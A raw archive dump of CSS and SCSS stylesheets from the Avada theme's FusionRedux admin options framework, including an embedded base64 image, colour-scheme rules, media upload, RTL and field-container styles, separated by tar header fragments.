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) !important}.admin-color-sunrise .ui-datepicker-header{background-color:#b43c38 !important;color:#fff !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{background-color:#df8a48 !important;color:#fff !important}.admin-color-sunrise .ui-datepicker td .ui-state-hover{color:#df8a48 !important}.admin-color-sunrise .ui-datepicker td .ui-state-highlight{background:#dd823b !important;border:1px solid #b43c38 !important;color:#fff !important}.admin-color-sunrise .fusionredux-container-switch .cb-disable,.admin-color-sunrise .fusionredux-container-switch .cb-enable,.admin-color-sunrise .ui-state-default,.admin-color-sunrise .ui-widget-content .ui-state-default,.admin-color-sunrise .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-sunrise .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-sunrise .fusionredux-container-switch .cb-enable.selected,.admin-color-sunrise .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#dd823b !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e29559), to(#dd823b)) !important;background-image:-moz-linear-gradient(top, #e29559, #dd823b) !important;background-image:-ms-linear-gradient(top, #e29559, #dd823b) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e29559), color-stop(100%, #dd823b)) !important;background-image:-webkit-linear-gradient(top, #e29559, #dd823b) !important;background-image:-o-linear-gradient(top, #e29559, #dd823b) !important;background-image:-linear-gradient(top, #e29559, #dd823b) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e29559", endColorstr="#dd823b", GradientType=0) !important;border-color:#ad5d1e !important;border-color:#c36922 !important;-webkit-box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-sunrise #fusionredux-header{background:#b43c38;border-color:#dd823b}.admin-color-sunrise #fusionredux-header .display_header span{color:#f0c8c6}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#b43c38}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#cc6c23;background:#8d2f2c}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#dd823b}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#b43c38}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#f0c8c6;text-shadow:1px 1px #d0534d}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#b43c38;text-shadow:none}.admin-color-sunrise .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#dd823b;text-shadow:1px 1px #98511a}.admin-color-sunrise .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#dd823b;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-sunrise #fusionredux-footer #fusionredux-share a{color:#dd823b}.admin-color-sunrise #fusionredux-footer #fusionredux-share a:hover{color:#98511a}.admin-color-sunrise .select3-results .select3-highlighted{background:#dd823b}.admin-color-sunrise .select3-drop-active,.admin-color-sunrise .select3-container-multi.select3-container-active .select3-choices,.admin-color-sunrise .select3-drop.select3-drop-above.select3-drop-active,.admin-color-sunrise .select3-container-active .select3-choice,.admin-color-sunrise .select3-container-active .select3-choices,.admin-color-sunrise .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-sunrise .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#dd823b}.admin-color-sunrise .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-sunrise .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-sunrise .noUi-connect{background-color:#df8a48 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e59e66), to(#df8a48)) !important;background-image:-moz-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-ms-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e59e66), color-stop(100%, #df8a48)) !important;background-image:-webkit-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-o-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-linear-gradient(top, #e59e66, #df8a48) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e59e66", endColorstr="#df8a48", GradientType=0) !important}@media screen and (max-width: 600px){.fusionredux-group-tab-link-a{min-height:15px}.fusionredux-group-tab-link-a span{padding:11px 12px;color:#555;-webkit-transition:all .3s;-moz-transition:all .3s;transition:all .3s;text-shadow:none !important}.fusionredux-group-tab-link-a span:hover{background:#e5e5e5}}@media screen and (max-width: 782px){#fusionredux-footer #fusionredux-share{line-height:38px;font-size:18px}.sticky-save-warn .fusionredux-save-warn{right:13px;top:46px}.fusionredux-container .expand_options{margin-top:5px}.fusionredux-action_bar input{margin-bottom:0 !important}}@media screen and (max-width: 600px){#fusionredux-footer #fusionredux-share,.fusionredux-hint-qtip{display:none}.fusionredux-container .fusionredux-action_bar{float:none}}.fusionredux-sidebar .icon-large,.fusionredux-main .icon-large{background-image:inherit !important;width:inherit;height:inherit}.fusionredux-main dd,.fusionredux-main li,.fusionredux-sidebar li{margin-bottom:0 !important}.fully-expanded .fusionredux-sidebar{margin-left:-500px}.fully-expanded .fusionredux-main{margin-left:0}.fully-expanded .fusionredux-group-tab{display:block}@media screen and (max-width: 640px){#fusionredux-defaults-section{display:none}}@media screen and (max-width: 730px){#fusionredux-share{display:none}}@media screen and (max-width: 730px){#fusionredux-defaults-section2{display:none}#fusionredux-share{display:none}}@media screen and (max-width: 600px){.form-table > tbody > tr > th{padding-bottom:0 !important}.fusionredux_field_th{padding-top:0;padding-bottom:0}.fusionredux-main .fusionredux-field-container{padding-top:0;padding-bottom:0}.fusionredux-main .subsection a{min-height:15px}}@media screen and (min-width: 601px)and (max-width: 782px){.fusionredux-container .sticky-save-warn .fusionredux-save-warn{top:47px !important;right:13px !important}}@media screen and (max-width: 782px){.fusionredux-main .form-table-section-indented input[type=text]{width:95% !important}.fusionredux-main .fusionredux-container-sortable input[type=text]{width:80%;display:initial}.fusionredux-main .fusionredux-typography-container .input_wrapper input.mini{font-size:16px !important;height:40px !important;padding:7px 10px !important;line-height:24px !important}.fusionredux-main .fusionredux-typography-container .picker-wrapper label{margin-top:16px !important}.fusionredux-main .input-append{height:50px !important}.fusionredux-main .input-append .add-on{font-size:16px;line-height:24px !important;padding:7px;height:32px !important;float:right;margin-top:-40px}.fusionredux-main .fusionredux-hint-qtip{float:left !important}.fusionredux-main .fusionredux-action_bar .button{margin-top:-1px}}@media screen and (max-width: 600px){.sticky-save-warn .fusionredux-save-warn{top:0 !important;right:14px !important}}@media screen and (max-width: 570px){.fusionredux-main .fusionredux-container-sortable .checkbox-container{width:85%;padding-bottom:5px}.fusionredux-main .fusionredux-container-sortable .checkbox-container label{display:initial}}#fusionredux-header{position:relative}.fusionredux-main{position:relative}.fusionredux-main #fusionredux-sticky{min-height:32px;margin-left:-20px;margin-right:-20px;margin-top:-10px;margin-bottom:8px}.fusionredux-main #fusionredux-sticky #info_bar{height:32px}.fusionredux-main #fusionredux-sticky #info_bar .expand_options{margin-top:4px}.fusionredux-main .fusionredux_field_search{top:50px;right:5px}.fusionredux-main #fusionredux-footer-sticky{margin-left:-20px;margin-right:-20px;margin-bottom:-10px}.fusionredux-qtip{z-index:999999 !important}.fusionredux-main pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}/*# sourceMappingURL=FusionReduxCore/assets/css/fusionredux-admin.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/media/media.scss000064400000002405152342437710024253 0ustar00.fusionredux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; &:hover { color: red; } } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { // font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .fusionredux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .fusionredux-main .upload { width: 80% !important; } .button { margin-top: 2px; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/media/media.css000064400000002013152342437710024063 0ustar00.fusionredux-main .button.remove-image,.fusionredux-main .removeCSS{margin-left:10px;color:#ef521d}.fusionredux-main .button.remove-image:hover,.fusionredux-main .removeCSS:hover{color:red}.fusionredux-main .upload_button_div{margin-bottom:5px}.fusionredux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:bold;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.fusionredux-main .reset-button{float:left;margin:0;color:#ef521d;border-color:#bbb}.fusionredux-main .fusionredux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-main .fusionredux-main .upload{width:80% !important}.fusionredux-main .button{margin-top:2px}/*# sourceMappingURL=FusionReduxCore/assets/css/media/media.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/import_export/import_export.css000064400000000303152342437710027553 0ustar00#fusionredux-import-link-wrapper,#fusionredux-import-code-wrapper{display:none}#fusionredux-export-code,#fusionredux-export-link-value{display:none}#fusionredux-import-action span{color:#B94A48} Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/rtl.css000064400000004202152342437710022530 0ustar00.fusionredux-container .fusionredux-action_bar{float:left}.fusionredux-container #expand_options,.fusionredux-sidebar,.cb-enable,.cb-disable,.cb-enable span,.cb-disable span,#fusionredux-footer #fusionredux-share{float:right}.fusionredux-main{border-left:0;margin-left:0;border-right:1px solid #d8d8d8;margin-right:201px}.fusionredux-group-tab-link-a{padding-left:0;padding-right:30px}.fusionredux-group-tab-link-a i{padding-left:10px;padding-right:5px}.fusionredux-group-tab-link-a span.group_title{padding-left:0;padding-right:30px}.fusionredux-container .expand_options,.fusionredux-sidebar,.cb-enable,.cb-disable,.cb-enable span,.cb-disable span,#fusionredux-footer #fusionredux-share{float:right}.fusionredux_slider{margin-left:0;margin-right:15px}.fusionredux-action_bar{float:left !important}.expand_options{float:right !important;border:1px solid red}.fusionredux_field_th{padding:20px 0 20px 10px !important}.field-desc{text-align:right}.fusionredux-container-ace_editor,.fusionredux-container-border,.fusionredux-container-spacing,.fusionredux-container-dimensions{direction:ltr !important}.fusionredux-container-border .field-border-input,.fusionredux-container-border .fusionredux-color-init,.fusionredux-container-border .fusionredux-border-style,.fusionredux-container-sorter,.fusionredux-container-border,.fusionredux-container-spacing,.fusionredux-container-spacing .field-spacing-input,.fusionredux-container-dimensions .fusionredux-dimensions-container,.fusionredux-container-text label,.fusionredux-container-checkbox input,.typography-font-bar,.typography-style-bar,.fusionredux-color.fusionredux-typography-color,.fusionredux-typography-subsets{float:right !important}.input-append{margin-right:10px;direction:ltr !important}.fusionredux-container-slider,.fusionredux-container-spinner,.fusionredux-container-switch{direction:ltr !important;float:right;margin:0}.fusionredux-main .fusionredux-typography-container .typography-preview{text-align:center !important;direction:ltr !important}.fusionredux-info-field .fusionredux-info-icon{margin-left:15px}#fusionredux-share{float:right !important}/*# sourceMappingURL=FusionReduxCore/assets/css/rtl.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/fusionredux-fields.css000064400000065667152342437710025574 0ustar00.fusionredux-main .fusionredux-container-background .fusionredux-background-attachment,.fusionredux-main .fusionredux-container-background .fusionredux-background-attachment select,.fusionredux-main .fusionredux-container-background .fusionredux-background-clip,.fusionredux-main .fusionredux-container-background .fusionredux-background-clip select,.fusionredux-main .fusionredux-container-background .fusionredux-background-origin,.fusionredux-main .fusionredux-container-background .fusionredux-background-origin select,.fusionredux-main .fusionredux-container-background .fusionredux-background-position,.fusionredux-main .fusionredux-container-background .fusionredux-background-position select,.fusionredux-main .fusionredux-container-background .fusionredux-background-repeat,.fusionredux-main .fusionredux-container-background .fusionredux-background-repeat select,.fusionredux-main .fusionredux-container-background .fusionredux-background-size,.fusionredux-main .fusionredux-container-background .fusionredux-background-size select{width:200px!important;margin-right:10px;margin-bottom:7px}.fusionredux-main .fusionredux-container-background .background-preview{display:block;width:100%;margin:5px 0 10px;border:1px dotted #d3d3d3}.fusionredux-main .fusionredux-container-background .select3-container{margin-right:10px;margin-bottom:10px}.fusionredux-main .fusionredux-container-background .wp-picker-container{margin-bottom:10px}.fusionredux-main .fusionredux-container-background .upload{width:100%;margin-bottom:8px}.fusionredux-main .fusionredux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.wp-customizer .fusionredux-container-background .fusionredux-background-attachment,.wp-customizer .fusionredux-container-background .fusionredux-background-attachment select,.wp-customizer .fusionredux-container-background .fusionredux-background-clip,.wp-customizer .fusionredux-container-background .fusionredux-background-clip select,.wp-customizer .fusionredux-container-background .fusionredux-background-origin,.wp-customizer .fusionredux-container-background .fusionredux-background-origin select,.wp-customizer .fusionredux-container-background .fusionredux-background-position,.wp-customizer .fusionredux-container-background .fusionredux-background-position select,.wp-customizer .fusionredux-container-background .fusionredux-background-repeat,.wp-customizer .fusionredux-container-background .fusionredux-background-repeat select,.wp-customizer .fusionredux-container-background .fusionredux-background-size,.wp-customizer .fusionredux-container-background .fusionredux-background-size select{width:100%!important}.fusionredux-container-border .select3-container{float:left;display:block;margin-right:10px}.fusionredux-container-border .select_wrapper{float:left;width:inherit}.fusionredux-container-border .select_wrapper select{width:80px;float:left}.fusionredux-container-border .field-border-input{margin-right:10px;margin-bottom:7px}.fusionredux-container-border .wp-picker-container{margin-top:2px}@media screen and (max-width:782px){.fusionredux-container-border .field-border-input input{display:inline-block!important;width:100px!important}.fusionredux-container-border .field-border-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.fusionredux-container-border .select_wrapper{margin-top:6px}}.fusionredux-container-checkbox label{vertical-align:top;width:100%}.fusionredux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none}.fusionredux-container-color_gradient .colorGradient{display:inline-block}.fusionredux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width:660px){.fusionredux-container-color_gradient .colorGradient{display:block;text-align:center!important}}.sp-container,.sp-replacer{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer.focus,.sp-replacer.hover,.sp-replacer:focus,.sp-replacer:hover{background:#fafafa;border-color:#999;color:#222}.sp-replacer.focus,.sp-replacer:focus{-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px 